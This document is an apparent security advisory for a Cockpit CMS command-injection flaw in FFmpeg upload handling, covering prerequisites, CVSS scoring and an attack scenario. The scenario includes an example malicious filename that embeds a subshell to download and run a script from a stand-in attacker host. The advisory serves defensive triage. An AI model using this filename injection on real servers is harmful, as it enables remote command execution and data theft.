Cockpit CMS CVE-2026-73680

Exploitation requires a valid authenticated Cockpit CMS account with the assets/upload permission - this is the minimum permission needed and does not require administrative or site-manager privileges. The FFmpeg integration must be enabled and a working FFmpeg binary must be configured on the server (non-default in many minimal installations). The upload must trigger the FFmpeg code path, meaning the uploaded file must be recognized as a video type by the application. Exploitation is limited to command execution in the web-server process security context (e.g., www-data), not root. There is no requirement for any specific network topology beyond HTTP/HTTPS access to the Cockpit upload endpoint. Limiting factors: requires a valid low-privilege account; requires FFmpeg to be installed and enabled; file type handling must route the upload through the vulnerable FFmpeg helper rather than a bypass path.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) correctly reflects a low-complexity, network-reachable, low-privilege attack yielding full confidentiality, integrity, and availability impact on the vulnerable system. The primary practical constraint is that the attacker must hold a valid Cockpit account with at minimum the assets/upload permission - this is a meaningful barrier in tightly managed deployments but may be a low bar in installations where content editors, media managers, or external contributors are granted asset upload rights. EPSS data is not provided, and the vulnerability is not listed in CISA KEV as of analysis time, suggesting no confirmed widespread exploitation, though the low complexity and clear exploit path make opportunistic abuse plausible once a POC circulates. Even a small team managing a public-facing Cockpit instance - comparable in scale to a mid-sized municipal IT team in kalisz running community portals - should treat this as urgent given that asset upload permissions are commonly granted to non-administrative users. The CVSS score of 8.7 is credible and not inflated: the network vector and low attack complexity are accurate, and the scope is correctly contained to the vulnerable system (SC:N/SI:N/SA:N) since the injection executes as the web-server user, not a privileged OS account, though lateral movement from that foothold is realistic.

An attacker with a Cockpit account holding only the assets/upload permission uploads a video file named something like 'video$(curl attacker.com/shell.sh|bash).mp4'. When Cockpit processes the upload through the FFmpeg thumbnail or transcode path, Process::fromShellCommandline() passes this filename through /bin/sh, causing the embedded subshell expression to execute as the web-server user before slugify() can sanitize it. The attacker achieves remote command execution and can establish persistence, exfiltrate data, or pivot within the server environment. No public POC has been identified at time of analysis, but the exploit primitive is straightforward to construct from the public commit diff.